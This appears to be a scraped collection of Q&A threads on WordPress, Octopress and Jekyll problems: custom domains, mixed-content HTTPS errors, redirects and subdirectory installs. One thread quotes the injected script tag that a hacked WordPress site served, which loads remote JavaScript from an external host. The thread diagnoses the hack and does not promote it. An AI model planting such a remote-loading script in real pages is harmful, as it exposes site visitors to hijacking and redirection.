Theme is not working in Octopress for a custom domain - wordpress

I've recently migrated my blog from Wordpress to Octopress.
URL of blog is:
myproject.github.io/octopress
Later I added an A-record to DNS settings of my Wordpress site:
myexample.com points to 192.30.252.154
Issue:
After loading Octopress blog from myexample.com in a browser the standard theme doesn't get loaded, whereas from myproject.github.io it does. Other media like text, pics etc. is loaded in both cases.
Any help appreciated!

This due to the fact that you're serving from two different url schemes : myexample.com and username.github.io/octopress. Here the main difference is the /octopress path.
This is supposed to be taken into account in _config.yml :
# If publishing to a subdirectory as in site.com/project set 'root: /project'
root: /
From the yourdomain.com point of view, it's supposed to be / and from username.github.io/octopress point of view, it's supposed to be /octopress.
This what break resources loading in one of the cases.
But the main problem here is the mix between custom domain and github url.
You'de better put your CNAME file in your username.github.io repository, this will make github redirect all request to username.github.io to yourdomain.com. And all request to username.github.io/repository to yourdomain.com/repository.
You will have only one url per repository and no more error possible with the octopress config.
By setting the configuration variable url: http://yoursite.com you will also solve the canonical problem generated by this double url problem. Because of SEO and duplicate content.

Related

Mixed Content: The page at 'https://example.com' was loaded over HTTPS, but requested an insecure stylesheet error in Wordpress site

Instead of genuine Mixed Content issue this seemed like more of a Wordpress issue hence posting here to find a resolution.
I have everything setup to work with https, though there is no valid certificate yet. here is the home page url https://tourpoule.nl. The home page loads but with Mixed content errors which seem to be generated by core Wordpress or theme functions. Attaching image:
Database does not have any url which would start with http://. I already have replaced them using search and replace script.
There is nothing in htaccess file except basic Wordpress setup code. I tried renaming it as well. I cleared all types of cache but still it does not work. The site is using twentytwenty theme and if I comment out css and javascript enque lines, some of the errors disappear but styles and scripts do not load(that is normal I know).
In the view source of page it shows mixed urls, some with https and style and javascript urls without https. see below:
Interestingly if I click a stylesheet url i.e. http://new.tourpoules.nl/wp-content/themes/twentytwenty/style.css?ver=1.0 it redirects to https://new.tourpoules.nl/wp-content/themes/twentytwenty/style.css?ver=1.0
I am not sure what is going on and have got struck. I am not able to reach the client so that we can discuss turning ssl redirection off in nginx for this domain where it is redirecting everything to https if it is not https. Not sure if that is causing issue (I believe it is not as it has nothing to do with Wordpress mechanism to generate urls). Any help or direction is greatly appreciated.
I can see your website is still unsecured, for what it's worth, get yourself letsencrypt ssl.
Back to you question, go to your database, open the wp_options table, change the siteurl item to https://tourpoules.nl and also change the home item to https://tourpoules.nl.
If you have used search and replace DB master script or plugin it will not update inside meta files as well as and check for the function file have you Enqueue with https://
So will be better if you download SQL file and replace with below:
From:
http://new.tourpoules.nl
To
https://new.tourpoules.nl
and re-upload again

Wordpress - instance always generates page that switches to external site

I'm getting an issue where WordPress always serves me a page that takes me to an external site.
Whether I try to visit a URL on mylivesite.com, page content is always as follows (keyword= varies according to the URL I type in):
<nofollow><noindex>
<script src="http://externalsite.com/?jquery&source=mylivesite.com&
keyword=ksjdhskjfhjksfsdf"></script></noindex></nofollow>
This happens only on the live site and not on my localhost site (which should be a very close copy of the live site).
I looked through the MySQL database using string search and couldn't find
any matches to externalsite.com.
I grep'ed the entire tree of hosted files and no matches either.
Can't see any nefarious looking rules in
wp_options.rewrite_rules.
Tried to disable all plugins (except W3TC) by renaming directories within wp-content/plugins, which I think has worked.
.htaccess is the standard WordPress bootstrap.
The installation is an individual domain running its own instance of WP.
This effect prevents me accessing wp-admin on the live site.
Any ideas about what layer or setting might cause this to happen?
The site had been hacked. This was causing it to redirect to an external site after most page requests.
Cleanup guide for hacked sites: http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
Thanks to all who provided help.

Can Jekyll serve content based on a URL parameter?

I'm migrating a blog from WordPress to GitHub pages. In the logs for my site, I've noticed that there are many requests like this:
GET /wp/?feed=atom
This 301 redirects to the ATOM feed for the site.
I'd planned to use httrack to scrape my site and migrate all the static content. But this presents a problem. Is there any way to replicate the /wp/?foo=bar redirects using Jekyll?
You can use Jekyll redirect_from plugin which is one of the rare plugin that can be used on github pages.
The only problem is that yoursite.github.io/wp/?foo=bar from the server point of view is yoursite.github.io/wp/index.php?foo=bar. So, any ?foo=bar is resolved to the same file.
I you have only your xml feed to redirect, this does the trick :
---
layout: null
redirect_from:
- /wp/
---
content ...
If you have multiple files to redirect, you will have to switch to a javascript solution from a wp/index.html file.

wordpress: domain mapping and site URL display

i am a wordpress newbie and have not much experience with their settings. Basically, i have recently set up a domain mapping for an existing wordpress site that i took over and that i had to move to another host, so domain mapping seemed to be an easy option to point the old URL to the new host. I have set up the domain mapping to point to the new site from:
http://www.myOldExample.com
to the new one:
http://www.myNewWebsite.com/foldername
So far the content migration worked in wordpress. The problem is that when i type in the old URL in the browser, it redirects the old page and shows the new site for the main home section as expected, but for all the subsequent links such as About, Contact, Products etc. it shows the new URL with the subfolder path, whereas i would like them to display the old URL as the base URL, so i am not sure if i need to change anything on the domain mapping site, or does this need to be done on the wordpress side? Does wordpress offer something like a base URL rewrite? I could only find in the general settings the Site URL and Wordpress URL, but i am not sure if changing those values to point to the old URL would break the site.
Many thanks for any ideas.
I think, this is url problem. When you are migrating wordpress site from one server to another server or same server but different folder, so its create url problem like http: //theoldserver to, for example, http: //thenewserver.com is problematic. So download file from this site and put this file, where blog files placed on server. Then do step, which define on this url.
This is very handy tool
Search and Replace for WordPress Databases Script" tool that's very handy (make sure to read the instructions and have a backup of the db before using it).

Wordpress, why doesn't my blog load the posts if U use the /subfolder domain method?

I have a blog at http://hamids-it.elaosta.com amongst others. If I try to access it from
http://elaosta.com/hamids-it it loads the blog but says it couldn't find the page I wanted.
How do I fix this so I can use either?
I'm guessing you have a standard subdomain install, whereby http://subdomain.example.com is mapped to the directory /example.com/public_html/subdomain?
In any normal circumstance, say with a static HTML file, you can rightly access the same resource at both example.com/subdomain/resource.html and subdomain.example.com/resource.html.
However, in your case, WordPress is parsing the REQUEST_URI and using it to determine what to show.
So in the case of http://elaosta.com/hamids-it, WordPress is actually looking for a page 'hamids-it' - and if it doesn't find it, voila, your 404.
The fix?
You'll need to decide which way you want to access your blog, subdomain or sub-directory, then stick to it.
When you've made a choice, update your General settings in WordPress admin and set both address URL's to either http://hamids-it.elaosta.com or http://elaosta.com/hamids-it.

Resources